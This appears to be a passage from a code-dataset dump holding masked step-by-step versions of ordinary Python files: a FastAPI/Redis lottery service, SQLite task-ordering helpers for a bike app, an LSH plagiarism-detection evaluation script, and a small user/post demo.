RedisQueue(item.luckname)\n print('ok')\n if rq.qsize():\n return {'ret': 500, 'msg': '该抽奖已经存在，请删除后重试'}\n result = {'ret': 0, 'item': item}\n awardlist = item.award\n lucklist = []\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n myredis.hmset(item.luckname, luckdict)\n result = {'ret': 0, 'msg': 'succses'}\n return result\n\n\n@app.get('/luck', tags=['抽奖接口'], summary='抽奖接口')\ndef luck(id: int, luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname + '_winner'\n if myredis.hexists(winner, id):\n return {'ret': 0, 'msg': '您已经抽过了，不能再抽了'}\n award = rd.get_nowait()\n if award:\n myredis.hset(winner, id, award)\n myredis.hincrby(luckname, award, -1)\n result = {'ret': 0, 'data': {'flag': 1, 'msg': '恭喜你中奖了', 'award':\n award}}\n else:\n result = {'ret': 0, 'data': {'flag': 0, 'msg': '奖抽完了'}}\n return result\n\n\n@app.get('/luckman', tags=['抽奖接口'], summary='查看中奖名单')\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + '_winner'\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {'ret': 0, 'data': winnerlist}\n\n\n@app.get('/remaining', tags=['抽奖接口'], summary='查看剩余奖品列表')\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {'ret': 0, 'data': remainlist}\n", "step-5": "from typing import Optional,List\n\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel, Field\n\nfrom redisqueue import RedisQueue,MyRedis\nimport random\n\nclass Award(BaseModel):\n name: str\n count: int\n\nclass Item(BaseModel):\n luckname: str = Field(...,title=\"抽奖规则名称\",max_lenght = 300)\n total: int = Field(...,title=\"抽奖总人数\",gt=0)\n award: Optional[List[Award]] = Field(None,title=\"奖品列表\")\n other: str = Field(...,title=\"参与奖或者未中奖\")\napp = FastAPI()\n\nclass ResSuccess(BaseModel):\n ret: int = 0\n data\n\n@app.get('/')\ndef read_root():\n return {\"Hello\":\"World\"}\n\n@app.post(\n '/delect', \n tags = [\"抽奖接口\"],\n summary = \"删除抽奖规则\"\n )\ndef delect(name:str):\n rq = RedisQueue(name)\n if rq.qsize:\n rq.lpop(name)\n return {\n 'ret':0,\n 'msg':\"删除成功\"\n }\n\n@app.post(\n '/creat',\n tags = ['抽奖接口'],\n summary=\"创建抽奖规则\"\n)\ndef creat(item: Item):\n \"\"\"\n 通过该接口可以创建一个抽奖规则\n \"\"\"\n myredis = MyRedis()\n rq = RedisQueue(item.luckname)\n print(\"ok\")\n if rq.qsize():\n return {\n \"ret\":500,\n \"msg\":\"该抽奖已经存在，请删除后重试\"\n }\n result = {\"ret\":0, \"item\":item}\n awardlist = item.award\n lucklist =[]\n luckdict = {}\n for ward in awardlist:\n luckdict[ward.name] = ward.count\n for i in range(ward.count):\n lucklist.append(ward.name)\n othercount = item.total - len(lucklist)\n\n if othercount:\n luckdict[item.other] = othercount\n others = [item.other] * othercount\n \n lucklist = lucklist + others\n random.shuffle(lucklist)\n print(lucklist)\n for luck in lucklist:\n rq.put(luck)\n \n myredis.hmset(item.luckname,luckdict)\n\n result = {\n 'ret': 0,\n 'msg': \"succses\"\n }\n return result\n\n@app.get('/luck', tags = [\"抽奖接口\"], summary=\"抽奖接口\")\ndef luck(id: int,luckname: str):\n \"\"\"\n 开始抽奖\n \"\"\"\n rd = RedisQueue(luckname)\n myredis = MyRedis()\n winner = luckname+\"_winner\"\n if myredis.hexists(winner,id):\n return {\n \"ret\":0,\n \"msg\":\"您已经抽过了，不能再抽了\"\n }\n award = rd.get_nowait()\n if award:\n myredis.hset(winner,id,award)\n myredis.hincrby(luckname,award,-1)\n \n result = {\n \"ret\":0,\n 'data':{\n \"flag\":1,\n \"msg\":\"恭喜你中奖了\",\n \"award\":award\n }\n }\n else:\n result = {\n \"ret\":0,\n 'data':{\n \"flag\":0,\n \"msg\":\"奖抽完了\",\n }\n }\n \n return result\n\n@app.get('/luckman',tags = [\"抽奖接口\"],summary=\"查看中奖名单\")\ndef luckman(luckname: str):\n myredis = MyRedis()\n winner = luckname + \"_winner\"\n winnerlist = myredis.hgetall(winner)\n print(winnerlist)\n return {\n \"ret\":0,\n \"data\":winnerlist\n }\n\n@app.get('/remaining',tags = [\"抽奖接口\"],summary=\"查看剩余奖品列表\")\ndef Remaining(luckname: str):\n myredis = MyRedis()\n remainlist = myredis.hgetall(luckname)\n print(remainlist)\n return {\n \"ret\":0,\n \"data\":remainlist\n }\n", "step-ids": [ 7, 8, 10, 11, 12 ] }

[ 7, 8, 10, 11, 12 ]

import csv import sqlite3 import time from datetime import datetime, timedelta import pandas as pd import pytz import json import urllib import numpy as np DATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db' def execute_query(cur,query, args=()): cur = cur.execute(query, args) rows = cur.fetchall() # cur.close() return rows def convertTime(et): """'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' """ hour = int(et[11:13]) if et.find('PM') != -1 and hour != 12: dateString = et[:10] hour = hour + 12 et = dateString + ' ' + str(hour) + et[13:19] elif et.find('AM') != -1 and hour == 12: dateString = et[:10] hour = 0 et = dateString + ' ' + '0'+str(hour) + et[13:19] else: et = et[:19] return et def getNYtimenow(): tz = pytz.timezone('America/New_York') time = str(datetime.now(tz))[:19] return time def datetimeStringToObject(timeString): """convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object""" try: year = int(timeString[:4]) month = int(timeString[5:7]) day = int(timeString[8:10]) hour = int(timeString[11:13]) minute = int(timeString[14:16]) result = datetime(year, month, day, hour, minute) return result except: return None def timeStringToObject(timeString): """convert a string in format hh:mm:ss to a datetime object with current date""" try: # year = datetime.now().year # month = datetime.now().month # day = datetime.now().day hour = int(timeString[:2]) minute = int(timeString[3:5]) result = datetime.today().replace(hour=hour, minute=minute, second=0, microsecond=0) return result except: return None def notSignedIn(vID): """Return true is the drivers did not enter vehicle ID, return False if the drivers have entered the vehicle ID""" if str(vID) == '0': return True return False def resetEstComp(cur, vID): """estimate completion time goes to 0""" cur.execute("""UPDATE OpenTasks SET estComplete = null WHERE vID = ? """,[vID]) def getNextFixOrderNum(cur,vID): """return the integer which is one larger than the order number of the last fixed task""" orderNum = execute_query(cur, """SELECT Count(*) FROM OpenTasks where vID = ? and fixTask = 1""", [vID])[0][0] orderNum = int(orderNum) + 1 return orderNum def getNextOrderNum(cur,vID): """return the integer which is one larger than the order number of the last task""" orderNum = execute_query(cur,"""SELECT Count(*) FROM OpenTasks where vID = ?""", [vID])[0][0] orderNum = int(orderNum) + 1 return orderNum def fixOrderBeforeInsert(cur,vID,orderNum): """Increment later tasks' order number by 1, orderNum is the order of the inserted task should be called before inserting the task """ cur.execute("""UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?""",[vID, orderNum])

normal

{ "blob_id": "9b8b196e1ad845ab745dabe5abe3be7bea0d5695", "index": 4835, "step-1": "<mask token>\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\n<mask token>\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\n<mask token>\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count(*) FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=\n 0, microsecond=0)\n return result\n except:\n return None\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count(*) FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef getNextOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count(*) FROM OpenTasks where vID = ?', [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef fixOrderBeforeInsert(cur, vID, orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\n 'UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?'\n , [vID, orderNum])\n", "step-4": "import csv\nimport sqlite3\nimport time\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport pytz\nimport json\nimport urllib\nimport numpy as np\nDATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db'\n\n\ndef execute_query(cur, query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\"\n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0' + str(hour) + et[13:19]\n else:\n et = et[:19]\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=\n 0, microsecond=0)\n return result\n except:\n return None\n\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\"\n cur.execute('UPDATE OpenTasks SET estComplete = null WHERE vID = ? ', [vID]\n )\n\n\ndef getNextFixOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count(*) FROM OpenTasks where vID = ? and fixTask = 1', [vID])[\n 0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef getNextOrderNum(cur, vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\n 'SELECT Count(*) FROM OpenTasks where vID = ?', [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\n\ndef fixOrderBeforeInsert(cur, vID, orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\n 'UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?'\n , [vID, orderNum])\n", "step-5": "import csv\nimport sqlite3\nimport time\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport pytz\nimport json\nimport urllib\nimport numpy as np\n\nDATABASE = '/var/www/html/citibikeapp/citibikeapp/citibike_change.db'\n\ndef execute_query(cur,query, args=()):\n cur = cur.execute(query, args)\n rows = cur.fetchall()\n # cur.close()\n return rows\n\n\ndef convertTime(et):\n \"\"\"'2017-06-01 11:41:53 AM' to '2017-06-01 11:41:53' \"\"\" \n hour = int(et[11:13])\n if et.find('PM') != -1 and hour != 12:\n dateString = et[:10]\n hour = hour + 12\n et = dateString + ' ' + str(hour) + et[13:19]\n elif et.find('AM') != -1 and hour == 12:\n dateString = et[:10]\n hour = 0\n et = dateString + ' ' + '0'+str(hour) + et[13:19]\n else:\n et = et[:19]\n\n return et\n\n\ndef getNYtimenow():\n tz = pytz.timezone('America/New_York')\n time = str(datetime.now(tz))[:19]\n return time\n\ndef datetimeStringToObject(timeString):\n \"\"\"convert a string in format YYYY-MM-DD hh:mm:ss to a datetime object\"\"\"\n try:\n year = int(timeString[:4])\n month = int(timeString[5:7])\n day = int(timeString[8:10])\n hour = int(timeString[11:13])\n minute = int(timeString[14:16])\n result = datetime(year, month, day, hour, minute)\n return result\n except:\n return None\n\ndef timeStringToObject(timeString):\n \"\"\"convert a string in format hh:mm:ss to a datetime object with current date\"\"\"\n try:\n # year = datetime.now().year\n # month = datetime.now().month\n # day = datetime.now().day\n hour = int(timeString[:2])\n minute = int(timeString[3:5])\n result = datetime.today().replace(hour=hour, minute=minute, second=0, microsecond=0)\n return result\n except:\n return None\n\ndef notSignedIn(vID):\n \"\"\"Return true is the drivers did not enter vehicle ID, \n return False if the drivers have entered the vehicle ID\"\"\"\n if str(vID) == '0':\n return True\n return False\n\n\ndef resetEstComp(cur, vID):\n \"\"\"estimate completion time goes to 0\"\"\" \n cur.execute(\"\"\"UPDATE OpenTasks SET estComplete = null WHERE vID = ? \"\"\",[vID])\n\ndef getNextFixOrderNum(cur,vID):\n \"\"\"return the integer which is one larger than the order number of the last fixed task\"\"\"\n orderNum = execute_query(cur, \"\"\"SELECT Count(*) FROM OpenTasks where vID = ? and fixTask = 1\"\"\", [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\ndef getNextOrderNum(cur,vID):\n \"\"\"return the integer which is one larger than the order number of the last task\"\"\"\n orderNum = execute_query(cur,\"\"\"SELECT Count(*) FROM OpenTasks where vID = ?\"\"\", [vID])[0][0]\n orderNum = int(orderNum) + 1\n return orderNum\n\ndef fixOrderBeforeInsert(cur,vID,orderNum):\n \"\"\"Increment later tasks' order number by 1, orderNum is the order of the inserted task\n should be called before inserting the task \"\"\"\n cur.execute(\"\"\"UPDATE OpenTasks SET orderNum = orderNum + 1 WHERE vID = ? and orderNum >= ?\"\"\",[vID, orderNum])", "step-ids": [ 4, 7, 10, 12, 13 ] }

[ 4, 7, 10, 12, 13 ]

<|reserved_special_token_0|> def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print('Doing LSH with t=', t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df <|reserved_special_token_1|> <|reserved_special_token_0|> from plagiarism_lib.article_db import ArticleDB from plagiarism_lib.minhash import MinHash from plagiarism_lib.lsh import LSH import pandas as pd import numpy as np def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len( candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print('Doing LSH with t=', t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df <|reserved_special_token_1|> #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Oct 7 07:51:26 2017 @author: hcorrada """ from plagiarism_lib.article_db import ArticleDB from plagiarism_lib.minhash import MinHash from plagiarism_lib.lsh import LSH import pandas as pd import numpy as np def _read_truthfile(filepath): with open(filepath, 'r') as f: truth_pairs = [tuple(sorted(line.strip().split())) for line in f] return set(truth_pairs) def _get_stats(candidate_pairs, truth_pairs): tp = len(candidate_pairs.intersection(truth_pairs)) prec = 1.0 * tp / len(candidate_pairs) rec = 1.0 * tp / len(truth_pairs) print (" returned: %d, tp=%.4f, prec=%.4f, rec=%.4f" % (len(candidate_pairs), tp, prec, rec)) return prec, rec def run(mh, truthfile, ts): truth_pairs = _read_truthfile(truthfile) prec_series = [] rec_series = [] for t in ts: print("Doing LSH with t=", t) lsh = LSH(t) lsh.do_lsh(mh) candidate_pairs = set(lsh.get_candidates()) prec, rec = _get_stats(candidate_pairs, truth_pairs) prec_series.append(prec) rec_series.append(rec) exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series}) return exp_df

flexible

{ "blob_id": "18b73a06c80272aff5c0e4b10473e95bd58466f3", "index": 1197, "step-1": "<mask token>\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n prec_series = []\n rec_series = []\n for t in ts:\n print('Doing LSH with t=', t)\n lsh = LSH(t)\n lsh.do_lsh(mh)\n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs)\n prec_series.append(prec)\n rec_series.append(rec)\n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n return exp_df\n", "step-4": "<mask token>\nfrom plagiarism_lib.article_db import ArticleDB\nfrom plagiarism_lib.minhash import MinHash\nfrom plagiarism_lib.lsh import LSH\nimport pandas as pd\nimport numpy as np\n\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split())) for line in f]\n return set(truth_pairs)\n\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs))\n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print(' returned: %d, tp=%.4f, prec=%.4f, rec=%.4f' % (len(\n candidate_pairs), tp, prec, rec))\n return prec, rec\n\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n prec_series = []\n rec_series = []\n for t in ts:\n print('Doing LSH with t=', t)\n lsh = LSH(t)\n lsh.do_lsh(mh)\n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs)\n prec_series.append(prec)\n rec_series.append(rec)\n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n return exp_df\n", "step-5": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 7 07:51:26 2017\n\n@author: hcorrada\n\"\"\"\n\nfrom plagiarism_lib.article_db import ArticleDB\nfrom plagiarism_lib.minhash import MinHash\nfrom plagiarism_lib.lsh import LSH\n\nimport pandas as pd\nimport numpy as np\n\ndef _read_truthfile(filepath):\n with open(filepath, 'r') as f:\n truth_pairs = [tuple(sorted(line.strip().split()))\n for line in f]\n return set(truth_pairs)\n\ndef _get_stats(candidate_pairs, truth_pairs):\n tp = len(candidate_pairs.intersection(truth_pairs)) \n prec = 1.0 * tp / len(candidate_pairs)\n rec = 1.0 * tp / len(truth_pairs)\n print (\" returned: %d, tp=%.4f, prec=%.4f, rec=%.4f\" % (len(candidate_pairs), tp, prec, rec))\n return prec, rec\n\ndef run(mh, truthfile, ts):\n truth_pairs = _read_truthfile(truthfile)\n \n prec_series = []\n rec_series = []\n \n for t in ts:\n print(\"Doing LSH with t=\", t) \n lsh = LSH(t)\n lsh.do_lsh(mh)\n \n candidate_pairs = set(lsh.get_candidates())\n prec, rec = _get_stats(candidate_pairs, truth_pairs) \n prec_series.append(prec)\n rec_series.append(rec)\n \n exp_df = pd.DataFrame({'t': ts, 'prec': prec_series, 'rec': rec_series})\n \n return exp_df", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() <|reserved_special_token_0|> app_user_two.get_user_info() <|reserved_special_token_0|> new_post.get_post_info() <|reserved_special_token_1|> <|reserved_special_token_0|> app_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student') app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() app_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student') app_user_two.get_user_info() new_post = Post('Going for it', app_user_two.name) new_post.get_post_info() <|reserved_special_token_1|> import user from post import Post app_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student') app_user_one.get_user_info() app_user_one.change_status('in job market') app_user_one.get_user_info() app_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student') app_user_two.get_user_info() new_post = Post('Going for it', app_user_two.name) new_post.get_post_info() <|reserved_special_token_1|> import user # or from user import User from post import Post app_user_one = user.User("rr@gg.com", "Riks R", "ppp1", "student") app_user_one.get_user_info() app_user_one.change_status("in job market") app_user_one.get_user_info() app_user_two = user.User("z43@gg.com", "Bobby L", "zz1", "student") app_user_two.get_user_info() new_post = Post("Going for it", app_user_two.name) new_post.get_post_info()

flexible

{ "blob_id": "f59db28b669a41051cc6d0d4b8e14d1c7b0edd11", "index": 2555, "step-1": "<mask token>\n", "step-2": "<mask token>\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\n<mask token>\napp_user_two.get_user_info()\n<mask token>\nnew_post.get_post_info()\n", "step-3": "<mask token>\napp_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student')\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\napp_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student')\napp_user_two.get_user_info()\nnew_post = Post('Going for it', app_user_two.name)\nnew_post.get_post_info()\n", "step-4": "import user\nfrom post import Post\napp_user_one = user.User('rr@gg.com', 'Riks R', 'ppp1', 'student')\napp_user_one.get_user_info()\napp_user_one.change_status('in job market')\napp_user_one.get_user_info()\napp_user_two = user.User('z43@gg.com', 'Bobby L', 'zz1', 'student')\napp_user_two.get_user_info()\nnew_post = Post('Going for it', app_user_two.name)\nnew_post.get_post_info()\n", "step-5": "import user\n\n# or from user import User\nfrom post import Post\napp_user_one = user.User(\"rr@gg.com\", \"Riks R\", \"ppp1\", \"student\")\napp_user_one.get_user_info()\napp_user_one.change_status(\"in job market\")\napp_user_one.get_user_info()\n\n\napp_user_two = user.User(\"z43@gg.com\", \"Bobby L\", \"zz1\", \"student\")\napp_user_two.get_user_info()\n\nnew_post = Post(\"Going for it\", app_user_two.name)\nnew_post.get_post_info()", "step-ids": [ 0, 1, 2, 3, 4 ] }

